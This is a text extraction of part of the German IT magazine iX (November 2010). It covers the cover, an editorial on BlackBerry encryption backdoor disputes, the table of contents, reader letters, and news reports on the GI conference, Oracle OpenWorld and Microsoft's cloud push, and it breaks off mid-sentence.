3D im Webbrowser. 11 November MAGAZIN FÜR PROFESSIONELLE INFORMATIONSTECHNIK. Die dritte Dimension im Internet:

Größe: px
Ab Seite anzeigen:

Download "3D im Webbrowser. 11 November MAGAZIN FÜR PROFESSIONELLE INFORMATIONSTECHNIK. Die dritte Dimension im Internet:"

Transkript

1 November 2010 Mit Stellenmarkt Anzeige itwatch GmbH Schutz vor Datenklau und Wirtschaftsspionage mehr auf Seite 123 und unter MAGAZIN FÜR PROFESSIONELLE INFORMATIONSTECHNIK 11 November 2010 e 5,90 Österreich e 6,20 Schweiz CHF 10,70 Benelux e 6,70 Italien e 6,70 Die dritte Dimension im Internet: 3D im Webbrowser Was mit WebGL, X3DOM und XML3D alles möglich ist Einfallstor lokaler Speicher: Sicherheitslücke in HTML5 Komplettserver für KMU: Für Groupware und mehr Client-Management aus der Cloud: Microsofts Intune Thin-Client-Betriebssysteme: Windows Embedded Standard 7 Virtualisierer mit Grafikpower: Parallels Workstation 4.0 Extreme Notebook-Vergleich: Was i3-, i5- und i7-cpu unterscheidet Datenmigration: Umstiegsstrategien für Großprojekte Altlasten retten: Visual-Basic-Anwendungen auf VB.Net umstellen Tutorial: Hochverfügbarer Samba-Cluster Storage und Cluster-Dienste ix extra Security: Virenscanner und Web-2.0-Bedrohungen

2

3 EDITORIAL November Schwierige Entscheidung Die Auseinandersetzung zwischen BlackBerry-Hersteller Research In Motion (RIM) und den Regierungen am arabischen Golf und in Indien droht, zur never-ending story zu verkommen. Es geht darum, ob RIM den Ermittlungsbehörden in den Golfstaaten und Indien die von ihnen geforderte Hintertür öffnet, damit sie vertrauliche Kommunikationsdaten von Terrorverdächtigen abhören können. Terrorismusbekämpfung ist ein starkes Argument, aber das Recht der Black- Berry-Kunden auf Datenschutz ist es ebenfalls. Für RIM kann es letztlich um viel Geld gehen: Manager, die bekanntlich die Mehrzahl der Black- Berry-Nutzer bilden, würden womöglich scharenweise zur Konkurrenz überlaufen, wenn RIM vor den Regierungen in Riad und Neu-Delhi einknickt. Vordergründig geht es in der Diskus - sion um Technik, denn RIM kontert die Forderungen aus dem Osten stets mit dem Argument, man sei gar nicht in der Lage, den Behörden einen Nachschlüssel zu liefern. Denn die verschlüsselten Daten lagern auf dem jeweiligen Mailserver des Kunden, auf die RIM keinen Zugriff habe. Gleichzeitig wälzt RIM die Verantwortung auf die Carrier ab, also auf die Service-Provider und Telefongesellschaften, über deren Leitungen der welt - weite -Verkehr läuft. Dorthin müssen sich die Behörden im Zweifelsfall wenden, sagte dem Autor ein Unternehmenssprecher auf die Frage, ob RIM den Behörden wenigstens die verschlüsselten Daten zur Verfügung stelle, nach dem Motto: Entschlüsselt sie doch selbst, wenn ihr es könnt wir können es jedenfalls nicht. Im Übrigen behauptet RIM steif und fest, alle nationalen Behörden gleich zu behandeln. RIM setze bei den Auflagen für einen rechtmäßigen Zugang auf einen weltweit einheitlichen Standard und räume somit ausdrücklich keinem Land eine Sonderstellung ein, heißt es sinngemäß in einer Verlaut - barung. Nun pfeifen aber seit Jahren die Spatzen von den Dächern, dass die National Security Agency (NSA), die oberste nationale Sicherheitsbehörde der Vereinigten Staaten, über so mächtige und schlaue Systeme verfügt, dass sie mit handelsüblichen Verschlüsselungsverfahren codierte Datenströme mehr oder weniger in Echtzeit mit - lesen kann. Auch deutsche Behörden haben wohl wenig Mühe, Standard- Kryptosysteme zu knacken. Die Frage ist nur, ob sie es überhaupt müssen. Nachdenklich sollte jedenfalls stimmen, dass die Fraunhofer-Gesellschaft Einzelheiten einer Studie, in der es um die Frage einer Backdoor für Geheimdienste beim BlackBerry ging, lange zurückgehalten hat. Am Ende bescheinigten die Forscher zwar, dass sie keine verborgenen Funktionen oder Hintertüren gefunden haben, aber nagende Zweifel bleiben doch. Ohnehin erinnert der Streit an Orwells Roman Animal Farm, in dem alle Tiere gleich sind, aber manche eben gleicher. Das verdeutlicht, worum es bei dem Hickhack zwischen RIM und den Regierungen in Asien und Arabien wirklich geht, nämlich um Politik. Inder und Saudis verlangen Gleichbehandlung. Sie wollen nicht länger datenrechtlich wie Drittweltstaaten behandelt werden: Sie mucken auf und verlangen im Grunde nur das, was bei Polizei und Geheimdiensten in den USA und Europa längst gängige Praxis ist: im Verdachtsfall auf die elektronischen Kommunikationsdaten zugreifen zu können. Wenn RIM jetzt allerdings nachgibt, werden auch andere Nationen nach Datenzugriff rufen. Länder, die nicht gerade im Ruf stehen, es mit der Rechtsstaatlichkeit und dem Schutz geistigen Eigentums besonders genau zu nehmen. Bislang stemmt sich RIM dagegen anders als beispielsweise eine Firma wie Yahoo, die aus Angst um ihr Chinageschäft den dortigen Macht habern freiwillig die Daten von Dissidenten ausgeliefert hat. Es geht demnach nicht um Technik, sondern um Geschäftsethik. RIM steht jedenfalls vor einer schwierigen Entscheidung. TIM COLE Tim Cole ist einer der Gründer des Analystenunternehmens Kuppinger Cole und Experte für E-Business- und IT-Sicherheitsthemen. ix 11/2010 3

4 INHALT November 2010 MARKT + TRENDS Informatiker-Tagung 40. Jahrestagung der Gesellschaft für Informatik 8 IT-Konzern Oracles OpenWorld Cloud Computing BITKOM-Konferenz und Software Strategy Summit 11 Open Source Ghostscript 9.00 mit ICC-Farbprofilen 19 Webbrowser IE9 Beta mit canvas und SVG 22 Embedded Systems Auto-PC ikarpc-w08a unter der Lupe 26 Internet Der eco-verband blickt in die Zukunft 32 Wirtschaft TK-Marktstudie TITEL 3D im Web 3D-Darstellungen im Webbrowser 42 3D im Browser WebGL: Erste Erfahrung mit der OpenGL-JavaScript-API 46 3D mit HTML5 X3DOM & XML3D: Deklaratives 3D in HTML5 54 REVIEW Thin-Client-Betriebssysteme Wyses Thin Clients COVER THEMA COVER THEMA mit neuem Embedded-Windows 64 Grafik Parallels Workstation 4.0 Extreme COVER THEMA für Windows und Linux 68 Webprogrammierung Serverseitige RIA-Frameworks: Vaadin und ZK 72 Protokolle PC-over-IP als Hard- und Software von Teradici 77 Systemmanagement PC-Administration als Cloud- Anwendung: Microsofts Intune 80 COVER THEMA Notebooks Prozessoren fürs Mobile: Intels Core i 82 COVER THEMA Von Visual Basic zu VB.Net Selbst wenn Informatiker die Nase rümpfen: Visual Basic war lange vor allem für nicht professionelle Entwickler das Mittel der Wahl für anwenderorientierte Programmierung. Das erschwert den Umstieg auf VB.Net nicht nur technisch, sondern auch psychologisch. Seite 108 Client-Management mit Microsofts Intune Wild wuchernde Windows- Landschaften, administriert vom sagenumwobenen Turnschuh- Administrator, sind nicht mehr zeitgemäß. Mit Intune wollen Microsoft und seine Partner Windows-7-Clients aus der Cloud verwalten. Seite 80 Komplettserver für Groupware Auch kleine und mittlere Unternehmen wollen ihre IT-Abteilungen nicht unnütz aufblähen. Da kommen Komplettserver mit allen wichtigen Kommunikationsfunktionen inklusive Groupware gerade recht. Seite 86 4 REPORT Collaboration Groupware und mehr COVER THEMA Komplettangebote für KMU 86 Requirements Management Anforderungen mit UML in Sparx EA modellieren 90 ix 11/2010

5 3D im Webbrowser Die dritte Dimension kommt endlich ohne Plug-in ins Web: Leistungsstarke Prozessoren und neue Ansätze wie WebGL, XML3D und X3DOM machen die Webbrowser fit für 3D-Darstellungen. Seite 42, 46 und 54 Datenmigration Geeignete Umstiegsstrategien COVER THEMA in Großprojekten 95 Interview Professor Dr. Dieter Nazareth zur Automobilinformatik 101 Internet IPv6-Umstellung bei einem Infrastruktur-Provider 104 Recht WLANs sind vor Missbrauch zu schützen 106 WISSEN Softwaremigration VB6-Anwendungen nach COVER THEMA VB.Net migrieren 108 Benchmarks Hintergrund zum OpenGL-Test SPECviewperf Notebook-CPUs im Vergleich Für aktuelle Notebooks stehen verschiedene Intel-CPUs zur Wahl: i3, i5 oder i7. Worin unterscheiden sie sich voneinander, und wer braucht was zu welchem Zweck? Seite 82 PRAXIS Webstandards Lokaler Speicher in HTML5: Risiko für Websicherheit 116 JavaScript Bidirektionale Webanwendungen mit Node und Socket.IO 121 Virtualisierung Mit FreeBSD-Jails Netze emulieren 126 Applikationsserver Virgo: Serverseitige Webanwendungen aus Komponenten 130 HA-Dateiserver Hochverfügbarer Samba-Cluster COVER THEMA COVER THEMA zum Testen 136 Tools und Tipps Suchmaschinen-Plug-ins für Firefox, IE und Chrome 141 MEDIEN Internet-Infos Anwendungen für das ipad 142 Vor 10 Jahren Freiheit dank Internet? 143 Buchmarkt Bildbearbeitung 144 Rezensionen DSLs, iphone Games, Präsentationsdesign 145 ix 11/2010 RUBRIKEN Editorial 3 Leserbriefe 6 ix extra Security nach Seite 122 COVER THEMA Seminarkalender 147 Stellenmarkt 148 Inserentenverzeichnis 152 Impressum 153 Vorschau 154 5

6 LESERBRIEFE November 2010 Wenn ich Google wäre (Meinung: Standortgefährdung durch politisch geschürte German Angst ; ix 10/10; S. 93) würde ich dem ganzen Kasperltheater ein Ende setzen, indem ich mindestens auf GoogleEarth Deutschland als schwarzen Fleck darstelle. Wie groß dann das Geheule hier wäre, kann sich jeder selbst denken. Auch das Gelächter aus aller Welt wäre einfach nur peinlich für Deutschland. Was es im Grunde eh schon ist. Es gibt keine Nachteile, wenn Bilder vom Haus im Internet zu sehen sind. Aber die Medien haben es hierzulande wieder einmal geschafft, sinnlos Angst zu verbreiten. DARKO NAJMAN, HAMBURG ELENA-Folgen schwerwiegender (Meinung: Standortgefährdung durch politisch geschürte German Angst ; ix 10/10; S. 93) Heute wurde in den Nachrichten (SWR3) berichtet, dass Nokia einen ähnlichen Dienst wie Google Street View plant. Dieser Dienst soll aber aufgrund der Diskussion hier in Deutschland erst später eingeführt werden, wenn sich die Street-View-Hysterie gelegt hat. Bezüglich Google Street View möchte ich darauf hinweisen, dass in diesem Jahr u.ˇa. das ELENA-Verfahren eingeführt wurde, welches für die Betroffenen weitaus mehr Konsequenzen hat. Nachdem ich aus dem IntraNet meines Arbeitgebers erfahren habe, dass er ab dem Oktober dieses Jahres die entsprechenden Daten an die Zentrale Speicherstelle (ZSS) übermitteln möchte, habe ich einen Blick auf die entsprechende Website geworfen, auf der dieses Verfahren beschrieben wird. Hierbei fiel mir auf, dass man das Recht auf Selbstauskunft, welches man in der Regel gegenüber allen Stellen besitzt, die personenbezogene Daten speichern, erst ab dem Januar 2012 wahrnehmen kann. Hierbei werden gegenüber anderen Stellen, die personenbezogene Daten speichern, besondere Hürden aufgebaut. Man benötig für eine Selbstauskunft unter anderem: ˇeinen internetfähigen PC, ˇeine Signaturkarte, die vom Arbeitnehmer selbst erworben werden muss, ˇeinen hierzu passenden Kartenleser. Aufgrund der Situation, bei der ELENA zum Einsatz kommt, können die Folgen einer fehlerhaften Datenübermittlung für den Betroffenen recht schwerwiegend sein. JOCHEN SCHMITT, VIA Alibi-Diskussion (Meinung: Standortgefährdung durch politisch geschürte German Angst ; ix 10/10; S. 93) Ich teile die Meinung des Kommentators nur bedingt. Meines Erachtens stellt sich schon die Frage, ob ein ausländisches Unternehmen in Deutschland mit einem 2,5 Meter hohen Kameramast durch die Städte fahren kann, so als wäre das eine Selbstverständlichkeit. Man stelle sich vor, diese Idee käme nicht von Google, sondern vom deut- DER DIREKTE DRAHT ZU x Direktwahl zur Redaktion: 05ˇ11/53ˇ Bitte entnehmen Sie Durchwahlnummern und -Adressen dem Impressum. Redaktion ix Postfach 61ˇ04ˇ Hannover Fax: 05ˇ11/53ˇ <user>@ix.de Web: Sämtliche in ix seit 1990 veröffentlichten Listings sind über den ix-ftp-server erhältlich: ftp.heise.de/pub/ix/ Bei Artikeln mit diesem Hinweis können Sie diese URL im Webbrowser auf rufen, um eine klickbare Liste aller URLs zu bekommen. 6 ix 11/2010

7 schen Innenministerium. Da wären viele Leute auf einmal gar nicht mehr so angetan. Trotzdem bewerte ich die Gefahr für die Persönlichkeitsrechte, die von SV ausgeht, eher als gering, was der Kommentator ja recht detailliert begründet hat. Der ganzen Diskussion haftet etwas alibihaftes an. Es war nach 9/11 nicht nur recht, sondern billig, die Privatsphäre der Bürger nach und nach auszuhöhlen. Wir erlebten Dinge wie die neue Rasterfahndung, Vorratsdatenspeicherung, Flugdatenübermittlung und SWIFT-Abkommen, womit das deutsche Datenschutzgesetz von Seiten der Exekutive bewusst untergraben wurde und wird. Die damals gerade wieder akute Diskussion um die Legitimität von Echelon wurde dagegen auf unbestimmte Zeit verschoben, und dass unsere Regierung technische Maßnahmen traf, um jeden Verkehr über den DE- CIX unbemerkt mitlesen zu können, ist traurige Realität. Die dilettantischen Aktionen der Internet-Ausdrucker, die lieber zensieren als löschen, sind eins der jüngeren Beispiele für den staatlichen Umgang mit den neuen Medien. Das sind Dinge, über die wir uns aufregen sollten. Dinge, die vielleicht auch mal von der liberalen Seite der jetzigen Bundesregierung zur Diskus - sion gestellt werden sollten, anstatt sich über SV das Maul zu zerreißen. JAN-ALRIK PHILIPSEN, HAMBURG Guter Appetitmacher (Internet-Infos: Japan, wie es leibt und lebt; ix 10/10; S. 146) Bei dem Automaten-Absatz des Artikels rechnete ich konstant damit, dass die Aufzählung mit dem boulevardkompatiblen (und wie im Artikel vermerkt nicht mehr existierenden) Höschenautomaten abgeschlossen wird, wurde aber positiv überrascht. Die Sammlung der Exotik-Fund - stücke ist zwar trotzdem etwas reißerisch, aber ich zähle das hier trotzdem ins gesamt als Appetitmachen anstatt des üblichen schau mal, die Japaner ham nen Knall. Daher: guter Artikel. Danke. CHRISTIAN SCHNEIDER, KARLSRUHE Unsägliches Genus herauslektorieren (Geschlechtszuordnung in ix generell) Es wäre großartig, wenn Sie in Zukunft das unsägliche Genus der Blog aus Ihren Artikeln herauslektorieren könnten. Zwar ist es laut Duden inzwischen als Nebenform zulässig, zeugt jedoch gleich dreifach von eingeschränkter Kompetenz: Erstens ist Log im Deutschen schon zu Zeiten hölzerner Klötze auf Schiffen sächlich gewesen, wichtiger in diesem Kontext aber waren es die kurz Logs genannten Log-Dateien auf Computern natürlich ebenfalls. Wer damit vertraut ist (und ein Autor in der ix sollte das sein), sieht eigentlich keinen Grund, Weblogs plötzlich einer Geschlechtsumwandlung zu unterziehen. Zweitens ist der Blog dementsprechend eine relativ neue Entwicklung, und wer sein grammatisches Fähnchen nicht ständig nach dem Wind dreht, legt mit der männlichen Variante nahe, dass diese ganze Internettagebuchgeschichte eine ganze Weile an ihm vorbeigelaufen ist. Drittens kann ich mir die Entstehung von der Blog eigentlich nur dadurch erklären, dass die deutsche Auslautverhärtung Blog genau wie lock klingen lässt. Man stellt sich den Autor also unwillkürlich vor, wie er englische Ohren mit einem Satz wie häff nau ohlsou ä block on mei hohmpäitsch! quält. CHRISTIAN MERTES, BIELEFELD Die ix-redaktion behält sich Kürzungen und auszugsweise Wiedergabe der Leserbriefe vor. Die abgedruckten Zuschriften geben ausschließlich die Meinung des Einsenders wieder, nicht die der Redaktion. ix 11/2010 7

8 MARKT + TRENDS Informatiker-Tagung 40. Jahrestagung der Gesellschaft für Informatik Service und Investition Jürgen Seeger Neue Perspektiven für die Informatik als Service Science und der 100. Geburtstag von Konrad Zuse prägten die fünftägige Konferenz an der Uni Leipzig. Über 1200 Teilnehmer verzeichnete das diesjährige Familientreffen der Informatiker, wie es der Vizepräsident der Gesellschaft für Informatik, Ernst Denert, bezeichnete. Die fünf Tage an der Universität Leipzig waren gefüllt mit 60 Veranstaltungen, von halbund ganztägigen Workshops und Tutorials aus dem akademischen Umfeld über Fortbildungsveranstaltungen für Informatiklehrer und -schüler, ein Studierenden-Camp bis zu vereinsinternen Versammlungen und der zentralen Veranstaltung, dem Tag der Infor - matik. iphone statt Universalcomputer Motto der diesjährigen Konferenz war Service Science Neue Perspektiven für die Informatik. GI-Präsident Stefan Jähnichen sieht den Computer 70 Jahre nach seiner Erfindung immer unsichtbarer werden. Den Universalcomputer aus dem letzten Jahrhundert gebe es heute nicht mehr, prägend seien iphone und Internet, prägend sei der Service-Gedanke. Dabei sei auch ein anderes Bild der Informatik entstanden: Wir diskutieren nicht mehr über das Für und Wider von GOTO, sondern über die Zuverlässigkeit von Webservices. Webservices, die Service Oriented Architecture, Software as a Service oder wie man das Kind sonst nennen mag, standen auch im Mittelpunkt anderer Vorträge am Tag der Informatik. Thomas Curran, CTO bei der Deutschen Telekom AG, sieht durch diese Entwicklung die klassischen Telekommunikationsanbieter als chancenreiche Big Player in den neuen (Web-)Märkten. So würden die APIs ihres Framework Open Access Programming, genutzt für Telekom Musicload und Videoload, im Rahmen des Programms Open Development weltweit angeboten. Allerdings würden die Telkos noch nicht als SW-Entwickler wahrgenommen, was zu Schwierigkeiten bei der Talentfindung führe. Den Moderator erinnerte diese neue Rolle der Telcos als API Provider an die weitgehend ad acta gelegten Pläne der Branche als Content Provider. Industrielle Revolution 2.0 durch IT-Services Auch ein anderer Ex-Monopolist sieht sich als Vorreiter der Serviceorientierung. Laut Johannes Helbig, CIO der Deutsche Post AG, bedeutet SOA auch, Innovation von innen nach außen zu verlagern. Hinter diesem recht allgemeinen Statement steckt eine bemerkenswerte Geschichte: 2007 gab die Deutsche Post ihr seit 2001 entwickeltes Framework DP_SOA als Sopera unter der Eclipse- Lizenz in die Open Source. Grund war die Hoffnung auf mehr Entwicklungstempo und schnellere Marktdurchdringung. Dadurch sanken die Kosten, so Helbig, innerhalb von vier Jahren auf 25 % der Ausgangs - summe. Wie unpolitisch kann ein Ingenieur sein? Kontroverse um Konrad Zuse Dass Konrad Zuse im Juni dieses Jahres 100 geworden wäre, nahm auch die GI zum Anlass, den Computerpionier zu würdigen. In einer veranstaltungsbegleitenden Ausstellung waren seine Bilder zu sehen, der Tag der Informatik begann mit einem Festakt anlässlich seines Geburtstags. Kontrovers allerdings wurde es im Workshop zu neuen Forschungsergebnissen über den bedeutendsten deutschen Computerpionier. Denn nach Ansicht des Historikers Hans Dieter Hellige von der Universität Bremen sind Zuses Entwürfe über rechnende Räume Vor - überlegungen für effektive Kontroll- und Planungsnetze, mit denen die nationalsozialistische Wirtschafts- und Staatsverwaltung auf effizientes Funktionieren programmiert werden sollte. Im Unterschied zu nationalsozialistischen Statistikern mit ihren Maschinen habe Zuse an einen universell programmierbaren Rechner gedacht und sei damit seiner Zeit weit voraus gewesen. Seine Überlegungen zum planenden Staat seien ein prägnantes Beispiel für die Selbstmobilisierung von Forschern und unpolitischen Ingenieuren, die zunehmenden Erfolg im NS-Staat hatten. Als direkter Nutznießer des Führernotprogramms der Endrüstung (Hellige) habe er im Berlin der Kriegsjahre seine Firma aufgebaut. Seine Sondermaschinen S1 und S2 berechneten Tragflächenprofile von Flügelbomben, seinen neuesten Computer Z4 konnte er per Sonderbefehl aus dem umkämpften Berlin evakuieren. Er sollte bei der Schmetterling-Flügelbombe zum Einsatz kommen, die im Konzentrationslager Mittelbau-Dora gefertigt werden sollte. Helliges harte Revision des gängigen Zuse- Bildes endete mit der Einschätzung, dass Zuse das Glück hatte, dass der NS-Staat zusammenbrach, ehe seine Ideen auch nur ansatzweise umgesetzt werden konnten. Was Konrad Zuse auf seiner Odyssee mit dem Rechner beim Zusammenbruch des Dritten Reiches erlebte, untersuchte der Historiker Ulf Hashagen vom Deutschen Museum München. Er machte auf die Diskrepanz zwischen der Darstellung von Zuse in seiner Autobiografie und offiziellen Dokumenten aufmerksam. So informierten sich Engländer wie Amerikaner gründlich über die Arbeitsweise der Z4, die repariert später nach Zürich geliefert wurde und so die Neugründung einer Firma ermöglichte. Die Alliierten hielten Zuses Rechner nicht von Bedeutung für die eigene Wirtschaft. Umgekehrt verschätzte sich Zuse gründlich, was seine Erfindung anbelangte. Er glaubte lange Zeit, dass Rechner wie ENIAC Spezialmaschinen waren. Die amerikanische Perspektive verdeutlichte Paul Ceruzzi vom Smithsonian Institute, der seine Dissertation über Zuse in den 1970er- Jahren geschrieben hatte. Ceruzzi berichtete, dass er in den USA weniger über Zuses Computer befragt wurde als danach, ob Zuse Nationalsozialist gewesen sei oder nicht. Als Reaktion auf seine Arbeit erhielt Ceruzzi einen langen Brief von dem langjährigen Zuse-Freund und Mitarbeiter Helmut Schreyer, in dem sich dieser bitterlich darüber beklagte, dass seine Mitarbeit an der Z3 unterschlagen werde. Auch in der abschließenden Diskussion ging es um die historische Einordnung. Kann der nicht in die NSDAP eingetretene Konrad Zuse mit dem SS-Mann Wernher von Braun verglichen werden, der Arbeitskräfte aus Konzentrationslagern einsetzte? Das revidierte Zuse-Bild eines selbstmobilisierten Computerpioniers wird weitere Forschung benötigen. So ist die Nähe des rechnenden Raums zu den Ordnungsplänen der Nationalsozialisten für die Zeit nach dem Krieg nicht unumstritten. Bisher wurde beispielsweise angenommen, dass Zuse seine Denkschrift zur Einrichtung eines neuen Systems der Gefolgschaftskontrolle nach dem Zusammenbruch der nationalsozialistischen Herrschaft geschrieben hat. Detlef Borchers 8 ix 11/2010

9 Zuverlässigkeit von Webservices statt Für und Wider von GOTO (GI-Präsident Stefan Jähnichen) Nicht alles nur Dienstleistung Informatik schafft Investitionsgüter (GI-Vizepräsident Ernst Denert). Servitization der Wirtschaft ist Wissensaustausch (Gerhard Satzger, IBM). In die Service-Kerbe schlug auch Gerhard Satzger (IBM), der mit dem Begriff Servitization die These einführte, das eine arbeitsteilige Wirtschaft letztlich auf dem Austausch von Wissen beruht. Der Wert des Getauschten sei durch das Wissen (mit)bestimmt, die Industrial Revolution 2.0 eine Service Revolution. Ähnlich schätzte Hermann Friedrich, Bereichsleiter Corporate Technology bei der Siemens AG, die Lage ein. Das Internet of Services böte neue Chancen für Siemens, und das aufziehende Web 3.0 brauche semantische Verfahren als Services, um der Datenflut Herr zu werden. Dazu entwickele man im Theseus-Programm unter anderem eine generelle SDL (Service Deskription Language), denn das Problem der Datenflut stelle sich in vielen Bereichen. So liefere eine Web 3.0 braucht semantische Services (Hermann Friedrich, Siemens AG). Computertomografie heute das Vielfache an Daten als etwa Eine ganz andere Variation des Service-Gedankens brachte Matthias Jarke (RWTH Aachen) ins Spiel. Die Kon - vergenz zwischen Internet, Multimedia und Mobilfunk sei eine Chance für die Entwicklung der Infrastruktur in Entwicklungsländern. Handys könn ten Webserver sein, P2P (Pear to Pear) sei eine noch viel zu wenig genutzte Architektur. Doch ganz in die Dienstleisterecke drängen lassen will sich die Informatik nicht. Denn funktional betrachtet seien große Softwarepakete eigentlich Investitionsgüter, wandte der Moderator, GI-Vizepräsident Ernst Dener, zwischendurch ein und führte als Argument dafür unter anderem die Abschreibungsdauer dieser Produkte an. ix 11/2010 9

10 MARKT + TRENDS IT-Konzern Oracles OpenWorld 2010 Big statt beautiful Christian Kirsch Im Oktober richtete Oracle erstmals nach der Übernahme von Sun seine Hauskonferenz Open- World aus, diesmal mit integrierter JavaOne. Über 40ˇ000 Besucher brachten die Veranstaltung an ihre logistischen Grenzen. Nach Jahren der Übernahmen muss Oracle jetzt den größten Brocken verdauen: Seit dem Erwerb von Sun Anfang des Jahres gehören allerlei proprietäre (Solaris), halboffene (MySQL, Java) und offene (OpenOffice) Software sowie ein Hardware-Zoo dazu. All das sollte auf der alljährlichen hauseigenen Konferenz seinen Platz finden. So musste Oracle schließlich mehr als 40ˇ000 Teilnehmer auf über 2000 Vorträge verteilen, sie füttern, tränken und zwischen den diversen Veranstaltungsorten hin- und herkutschieren. Trotz dieser Her ausforderungen klappte die Organisation im Wesentlichen gut. Allerdings war frühes Erscheinen zu den Vorträgen gefragt, denn Zutritt hatte nur, wer sich rechtzeitig angemeldet hatte. Die anderen warteten vor der Tür auf freibleibende Plätze. Im Gespräch beklagten Teilnehmer jedoch immer wieder die Größe der Veranstaltung und zweifelten an dem Sinn, alle Produkte unter ein Konferenzdach zu zwängen: Wer Oracles Database zu administrieren habe, interessiere sich in der Regel nicht für Java; Storage- Fachleute beschäftigten sich nicht mit ERP-Software. Eine klare Roadmap präsentierte Oracle für Java: Im nächsten Jahr soll Versionˇ7 kommen, mit weniger Neuerungen als ursprünglich von Sun geplant. Diese werden dann 2012 mit Javaˇ8 nachgereicht. Auch bei MySQL bemühte sich das Unternehmen um klare Aussagen zur Zukunft, wesentlich Neues verriet es zu dem Thema jedoch nicht. Wichtigste Neuvorstellung waren die Exalogic-Server, die Oracles Chef Larry Ellison in einer Keynote präsentierte. Dabei blieb vieles im Dunkeln. So sprach er zwar von einem VM-Server als Betriebssystem, doch Eingeweihte korrigierten dies später: Zurzeit laufe auf den Servern Oracles Linux, Solaris soll folgen, und ein VM-Server erst wesentlich später kommen. Mit den Exalogic-Modellen sollen Firmen eine hausinterne Cloud betreiben können. Ein Rack enthält 30 Server mit je sechs Intel-Cores, 1ˇTByte RAM und zwei Solid State Disks. Außerdem bietet es 40 TByte Plattenplatz. Bis zu acht Racks lassen sich per Infiniband zusammenschalten; dieselbe Technik verbindet auch die Rechner in einen Gehäuses. Als Zweites kündigte Ellison einen eigenen Linux-Kernel an bislang stammt der Unterbau von Oracles Linux aus dem Hause Red Hat. Dessen Entwickler seien jedoch zu langsam beim Integrieren von Korrekturen. Der neue Kernel werde diese Änderungen und spezielle Anpassungen an die Exalogic-Hardware enthalten. Die Vorstellung von Cloud Office blieb einem Vortrag überlassen. Die Software soll noch dieses Jahr erscheinen, auf einem Server laufen und per Browser bedienbar sein; als Dokumentenformat verwendet sie wie OpenOffice ODF. (ck) 10 ix 11/2010

11 MARKT + TRENDS Cloud Computing BITKOM-Konferenz/Software Strategy Summit Steve doppelt Achim Born Gleich zweimal warb Microsoft-Chef Steve Ballmer in Köln für Cloud-IT sowohl auf dem hauseigenen Software Strategy Summit als auch auf der BITKOM- Konferenz zum Thema Cloud Computing. Nicht weniger als eine Revolution verkündeten die Großkopfeten der IT-Industrie auf einer Cloud-Computing- Konferenz des BITKOM-Verbandes in Köln. Der Markt für Cloud Computing explodiert förmlich, Telekom-Chef René Obermann freut sich schon auf glänzende Geschäfte. Cloud Computing wird den IT-Markt grundsätzlich verändern, assistierte Microsoft-Chef Steve Ballmer. Die Frage sei allein: wie schnell? Er ließ keinen Zweifel daran, dass Microsoft mit Macht zur Wolken-IT drängt. Zuvor hatte er Wirtschaftsgazetten diktiert, dass sein Unternehmen in den vergangenen Jahren mehr als 1ˇMrd. Dollar pro Jahr in Cloud Computing investiert habe und ab 2012 mehr als 90ˇ% der eigenen Entwickler an Cloud- Anwendungen und -Techniken arbeiten sollen. Einheitliche internationale Datenschutzstandards, so beide Manager, sollen helfen, das Potenzial zu erschließen. Ballmer, ansonsten für eher emotional-aggressive Auftritte bekannt, gab sich diesmal erstaunlich versöhnlich. Auf der BITKOM-Veranstaltung betonte er die Notwendigkeit offener Plattformen und fand freundliche Worte für den deutschen Markt: Die Deutschen sind bei neuen Techniken immer vorne mit dabei. Laut Ballmer ziehe die Umstellung auf das Cloud-Computing-Modell Neuerungen in allen Bereichen der IT nach sich. Als Beispiel führte er die neuen bedienerlosen RZ-Container an, die für den Betrieb nur noch Strom- und Internet-Anschluss benötigen. Ebenso erforderlich seien smartere Zugangssysteme zu den neuen Services. Details zu Windows Phoneˇ7 oder einem künftigen WP7-Tablet (Slate), das er zwei Tage zuvor in einer Rede an der London School of Economics in Aussicht stellte, ließ er sich nicht entlocken auch nicht bei seinem Auftritt auf Microsofts Software Strategy Summit am Nachmittag desselben Tages, wo er letztlich seinen BIT- KOM-Vortrag wiederholte. Detailreicher waren zuvor die Beiträge seiner Mitarbeiter Franz Fischer, Leiter des Geschäftsbereiches Mobility bei der hiesigen GmbH, und Dr. Frank Prengel, Technical Evangelist. Als Frontend für die Cloud synchronisiert sich WP7 automatisch mit Share- Point und bietet Zugriff auf die Microsoft-Dienste wie Bing, Exchange oder Windows Live Skydrive ( Online-Festplatte ). In Abkehr von bisherigen Microsoft-Strategien vereint die neue Plattform private und berufliche Anforderungen beispielsweise trägt sie alle Informationen im Rahmen der Mitgliedschaft sozialer Netzwerke über Hubs zusammen. Der duale Charakter des WP7 zeigt sich auch an seiner Entwicklungsumgebung (s. ix 7/2010, S. 121), die neben Silverlight das XBox-Framework XNA umfasst. Da sie mit der Windows-Mobile-Umgebung nur wenig gemein hat, bleibt eine Portierung der Programme schwierig. Vielleicht will man deshalb beide Plattformen erst einmal parallel betreiben. Software für WP7 gibt es ebenfalls nur über den in Luxemburg registrierten Win - dows-phone-marketplace. Entwickler müssen pro Jahr 75 plus 15ˇ% Mehrwertsteuer für die Registrierung bezahlen. Von den Einnahmen erhalten sie wie üblich 70ˇ%. (sun) ix 11/

12 MARKT + TRENDS Diverses ix-veranstaltungen Auf zwei demnächst auslaufende Frühbucherrabatte sei an dieser Stelle hingewiesen: Richtig beeilen muss man sich, wenn man bei der Social Software 2010 ( ˇ11.ˇ2010, München) nur 450 statt 650ˇe Teilnehmergebühren bezahlen will. Die Buchung muss dann bis zum 22. Oktober erfolgt sein. Telekom zentralisiert Die Deutsche Telekom beabsichtigt, ihren Mittelstands-Service und -Vertrieb sowie die regionale Aufstellung ihrer IT in Deutschland neu zu strukturieren. Das Unternehmen baut dazu in den nächsten Jahren bundesweit neun Vertriebs- und Service-Zentren sowie zusätzliche 28 Vertriebsbüros auf. Gleichzeitig führt es die IT- Mannschaften in fünf Standorten sogenannten IT-Innova - tionszentren zusammen. Mit der Zentralisierung soll eine höhere Servicequalität durch engere Verzahnung mit dem Vertrieb erreicht werden. Unternehmensangaben zufolge soll die Neustrukturierung für die Mitarbeiter nicht zu einem Verlust von Arbeitsplätzen führen. Die Mehrzahl 100 Euro sparen kann man bei der GreenCloud Public 2010 (16.ˇNovember 2010), wenn man bis einschließlich 29. Oktober gebucht hat. Weitere Informationen und die Anmeldeformulare sind unter zu finden. Und nicht vergessen: Bis zum 21. November läuft der Call for Papers für den IPv6- Kongress 2011, der am 12. und 13. Mai in Frankfurt/Main stattfindet. muss sich allerdings auf einen neuen Einsatzort einstellen. In der IT werden beispielsweise laut Telekom-Planung etwa 1500 der rund 2800 Beschäftigten bis 